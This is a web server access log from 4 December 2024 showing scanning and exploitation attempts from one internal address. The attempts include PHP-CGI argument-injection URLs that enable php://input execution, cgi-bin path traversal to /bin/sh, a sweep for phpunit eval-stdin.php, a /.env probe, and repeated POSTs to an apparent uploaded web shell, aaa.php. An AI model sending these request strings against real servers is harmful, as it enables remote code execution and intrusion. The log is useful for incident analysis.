[04/Dec/2024:08:12:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /.env HTTP/1.1" 300
[04/Dec/2024:08:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:08:14:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:08:32:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:08:33:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:08:45:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_div.png HTTP/1.1" 127
[04/Dec/2024:08:51:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:08:54:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:09:01:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:09:14:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:09:20:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:09:20:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:09:20:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[04/Dec/2024:09:20:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dept/dept1.php HTTP/1.1" 305
[04/Dec/2024:09:30:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono-lisa/icons_hidpi.png HTTP/1.1" 38309
[04/Dec/2024:09:31:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=pmwBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[04/Dec/2024:09:31:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?dns=b7oBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /dns-query HTTP/1.1" 300
[04/Dec/2024:09:31:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /dns-query?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?dns=HGIBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /query HTTP/1.1" 300
[04/Dec/2024:09:31:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?dns=PSsBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:17 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /query HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /query?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?dns=McsBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /resolve HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?dns=VEcBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /resolve HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /resolve?name=example.com&type=A HTTP/1.1" 300
[04/Dec/2024:09:31:18 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?dns=W24BAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" -
[04/Dec/2024:09:31:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[04/Dec/2024:09:31:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?name=example.com&type=A HTTP/1.1" -
[04/Dec/2024:09:31:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?dns=EjoBAAABAAAAAAAAB2V4YW1wbGUDY29tAAABAAE HTTP/1.1" -
[04/Dec/2024:09:31:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[04/Dec/2024:09:31:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /?name=example.com&type=A HTTP/1.1" -
[04/Dec/2024:09:33:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:09:34:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[04/Dec/2024:09:34:12 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[04/Dec/2024:09:34:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1172
[04/Dec/2024:09:34:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 92
[04/Dec/2024:09:44:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:09:45:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:09:49:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:09:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:09:54:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:09:59:12 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:10:01:41 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:10:01:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:10:01:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:10:06:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-7.jpg HTTP/1.1" 85643
[04/Dec/2024:10:14:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:10:17:11 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:10:22:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /robots.txt HTTP/1.1" -
[04/Dec/2024:10:22:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:10:22:10 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /applications.html HTTP/1.1" 3607
[04/Dec/2024:10:34:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:10:42:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-8.jpg HTTP/1.1" 55618
[04/Dec/2024:10:47:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" -
[04/Dec/2024:10:47:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 64
[04/Dec/2024:10:47:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 1172
[04/Dec/2024:10:48:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/upload/files/aaa.php HTTP/1.1" 92
[04/Dec/2024:10:51:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:10:54:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:11:06:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/dept/index9328i.html HTTP/1.1" -
[04/Dec/2024:11:14:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:11:15:25 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:27 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:28 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:29 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:30 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:30 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:31 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:32 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:33 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:34 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:35 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:37 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:38 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:39 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:41 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:42 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:43 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:44 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:45 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:46 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:47 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:48 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:48 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:49 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:50 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:51 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:52 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:53 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:54 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:55 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:56 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:57 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:58 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:15:59 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:16:00 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:16:01 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:16:02 +0800] 10.100.1.254 - - "GET / HTTP/1.0" 468
[04/Dec/2024:11:34:03 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:11:48:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/showblocks/images/block_pre.png HTTP/1.1" 128
[04/Dec/2024:11:51:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:11:54:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:11:54:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:12:08:37 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/time/t.php.bak HTTP/1.1" -
[04/Dec/2024:12:14:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:12:18:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/magicline/images/icon.png HTTP/1.1" 133
[04/Dec/2024:12:19:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:12:34:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:12:48:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/icons_hidpi.png HTTP/1.1" 67753
[04/Dec/2024:12:51:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:12:54:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:13:14:42 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:13:18:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/upload/dept8-10.jpg HTTP/1.1" 164192
[04/Dec/2024:13:20:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:13:20:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:13:20:54 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[04/Dec/2024:13:20:55 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[04/Dec/2024:13:20:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[04/Dec/2024:13:34:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:13:51:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[04/Dec/2024:13:54:47 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:13:59:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:14:14:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[04/Dec/2024:14:22:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 639
[04/Dec/2024:14:28:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 330
[04/Dec/2024:14:28:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1" 330
[04/Dec/2024:14:28:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 300
[04/Dec/2024:14:28:20 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
[04/Dec/2024:14:28:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 300
